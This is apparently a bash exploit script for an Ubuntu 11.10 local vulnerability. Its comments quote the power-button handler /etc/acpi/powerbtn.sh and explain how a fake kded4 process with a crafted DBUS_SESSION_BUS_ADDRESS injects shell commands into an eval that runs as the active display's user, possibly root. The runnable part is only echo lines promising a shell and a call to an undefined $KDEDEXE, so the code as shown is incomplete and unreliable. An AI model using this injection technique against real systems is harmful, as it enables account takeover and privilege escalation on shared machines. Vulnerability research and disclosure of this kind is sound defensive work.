#!/bin/bash
#
# otr
#
# The following script is executed when pressing the power button on an Ubuntu
# 11.10 system. Depending on how far we get in the condition in the code
# fragement, it is possible for another user on the local system to gain the
# privileges of the user who has the currently focused display running. The
# vulnerability only triggers when certain power management programms are not
# running, especially kded4 and the programms in the $PMS variable need not to
# be running in order for this to be exploitable.
#
# This exploit would be more reliable when having a way to dos
# gnome-power-manager Also it would be more fun one could trick the getXuser
# function into setting $XUSER to root. In the case of root being the user on
# the active display this exploit turns into a privilege escalation
#
# Exploitable file /etc/acpi/powerbtn.sh
# In original source code line 40
#
# --
# PMS="gnome-power-manager kpowersave xfce4-power-manager"
# PMS="$PMS guidance-power-manager.py dalston-power-applet"
#
# if pidof x $PMS > /dev/null ||
# ( test "$XUSER" != "" && \
# pidof dcopserver > /dev/null && \
# test -x /usr/bin/dcop && \
# /usr/bin/dcop --user $XUSER kded kded loadedModules \
# | grep -q klaptopdaemon) ||
# ( test "$XUSER" != "" && \
# test -x /usr/bin/qdbus && \
# test -r /proc/$(pidof kded4)/environ && \
# su - $XUSER -c \
# "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ | \
# tr '\0' '\n' | \
# grep DBUS_SESSION_BUS_ADDRESS); \
# qdbus org.kde.kded" | \
# grep -q powerdevil) ;\
# then
# --
#
# The problem here is that the output of cat /proc/$(pidof kded4)/environ is
# controllable by a local user by exporting the DBUS_SESSION_BUS_ADDRESS
# variable and running a programm called kded4.
# Using this environment variable the attack is able to inject arbitrary shell
# commands into the eval expression which will be executed with the rights
# of $XUSER which is the user with the currently active display.
#
# /usr/share/acpi-support/policy-funcs in the PowerDevilRunning function
# has similar code but it seems that under normal conditions this only
# allows to run code with the privileges one already has.
echo "[+] Starting kded4."
echo "[+] Trying to PMS the system."
echo "[+] Waiting for the power button to be pressed."
echo "[+] You'll get a shell on this console."
./$KDEDEXE
